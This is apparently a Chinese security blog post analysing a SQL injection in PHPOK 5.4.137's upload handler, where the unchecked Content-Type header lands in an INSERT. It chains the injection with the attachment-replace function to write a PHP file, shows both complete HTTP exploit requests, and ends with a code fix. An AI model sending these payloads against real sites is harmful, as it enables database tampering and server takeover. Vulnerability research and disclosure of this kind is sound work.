代写代发,此处艾特续爷@Joseph
GitHub上刚下载来的版本,5.4.137,有一个注入,然后按照https://xz.aliyun.com/t/1569进行getshell。
问题定位
注入点在这里framework/api/upload_control.php:67
,主要操作是把文件上传信息保存到了数据库
$upload = $this->lib('upload')->upload('upfile');
if (!$upload || !$upload['status']) {
$this->json(P_Lang('附件上传失败'));
}
if ($upload['status'] != 'ok') {
$this->json($upload['content']);
}
$array = array();
$array["cate_id"] = $this->lib('upload')->get_cate();
$array["folder"] = $this->lib('upload')->get_folder();
$array["name"] = $upload['name'];
$array["ext"] = $upload["ext"];
$array["filename"] = $upload['filename'];
$array["addtime"] = $this->time;
$array['title'] = $upload['title'];
$array["mime_type"] = $upload['mime_type'];
$arraylist = array("jpg", "gif", "png", "jpeg");
if (in_array($upload['ext'], $arraylist)) {
$img_ext = getimagesize($this->dir_root . $upload['filename']);
$my_ext = array("width" => $img_ext[0], "height" => $img_ext[1]);
$array["attr"] = serialize($my_ext);
}
if (!$this->is_client) {
$array["session_id"] = $this->session->sessid();
}
$array['user_id'] = $this->u_id;
$id = $this->model('res')->save($array);
我们跟入$upload = $this->lib('upload')->upload('upfile');
进入实际方法位于framework/libs/upload.php:204
我们看到两行关键代码
$mime_type = $_FILES[$input]["type"];
...
return array('title' => $title, 'ext' => $ext, 'mime_type' => $mime_type, 'filename' => $outfile, 'folder' => $this->folder, 'status' => 'ok');
得到了返回的mime_type
,而中间没有对$mime_type
进行过滤和检查,也没有对$_FILES
变量进行审查,这就导致可能存在注入
验证与exp
该上传方法对应的接口是/api.php?c=upload&f=save
上传调用页面为/index.php?c=usercp&f=avatar
我们把断点下在framework/engine/db/mysqli.php:111
,然后上传头像,拦截,在Content-Type上加个单引号
INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`mime_type`,`attr`,`session_id`,`user_id`) VALUES('1','res/202001/19/','','png','res/202001/19/2309a96e89ea3880.png','1579430399','loading','image/png'','a:2:{s:5:"width";i:1422;s:6:"height";i:1066;}','b35ptcavpkib4juss1451hbu4u','45')
注入点就已经出现了,利用方法和先知的那篇一样:phpok可以通过api.php调用控制器和里面的方法,而在framework/www/upload_control.php:104
处有一个附件替换的方法,该方法从数据库查询旧的文件名,然后向磁盘删除对应的文件,并添加新上传的文件,我们可以看到附件替换的关键方法位于framework/libs/file.php:269
,如下
public function mv($old,$new,$recover=true)
{
if(!file_exists($old)){
return false;
}
if(substr($new,-1) == "/"){
$this->make($new,"dir");
}else{
$this->make($new,"file");
}
if(file_exists($new)){
if($recover){
unlink($new);
}else{
return false;
}
}else{
$new = $new.basename($old);
}
rename($old,$new);
return true;
}
可以看到,虽然是附件替换,但是即使源附件不存在也没关系,依然正常写入。
那么从注入到getshell的思路就是:通过SQL注入一条附件数据,文件类型为php,然后通过api.php调用起附件替换功能,就可以向目标路径写入一个php文件。
则payload如下
POST /api.php?c=upload&f=save HTTP/1.1
Host: local.hundan.org
Content-Length: 902
Origin: http://local.hundan.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.53 Safari/537.36 Edg/80.0.361.33
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Eig5P1Ubm1e2y05
Accept: */*
Referer: http://local.hundan.org/index.php?c=usercp&f=avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="name"
loading.png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="type"
image/png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="lastModifiedDate"
Wed Sep 18 2019 19:38:52 GMT+0800 (China Standard Time)
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="size"
153699
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="upfile"; filename="loading.png"
Content-Type: ','a%3a2%3a{s%3a5%3a"width"%3bi%3a1422%3bs%3a6%3a"height"%3bi%3a1066%3b}','b35ptcavpkib4juss1451hbu4u','45'),
('1','/','','php','joseph.php','1579433203','loading','www1
------WebKitFormBoundary2Eig5P1Ubm1e2y05--
而上传部分还有两个字节的文件头检测
所以需要添加两个字节的图片头,url编码后为 %89P
POST /index.php?c=upload&f=replace&oldid=1435 HTTP/1.1
Host: local.hundan.org
Content-Length: 763
Origin: http://local.hundan.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.53 Safari/537.36 Edg/80.0.361.33
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Eig5P1Ubm1e2y05
Accept: */*
Referer: http://local.hundan.org/index.php?c=usercp&f=avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="name"
loading.png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="type"
image/png
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="lastModifiedDate"
Wed Sep 18 2019 19:38:52 GMT+0800 (China Standard Time)
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="size"
153699
------WebKitFormBoundary2Eig5P1Ubm1e2y05
Content-Disposition: form-data; name="upfile"; filename="loading.png"
Content-Type: image/png
P
<?php phpinfo();?>
------WebKitFormBoundary2Eig5P1Ubm1e2y05--
修复
其实修复的点有很多,图片完整性检测、SQL注入、替换拓展名检查等等,好且全面的方案可以修复一些潜在的问题,这里只对当前问题提出一个解决方案
将framework/libs/upload.php:214
的
$mime_type = $_FILES[$input]["type"];
改为
$mime_type = mime_content_type($_FILES["upfile"]["tmp_name"]);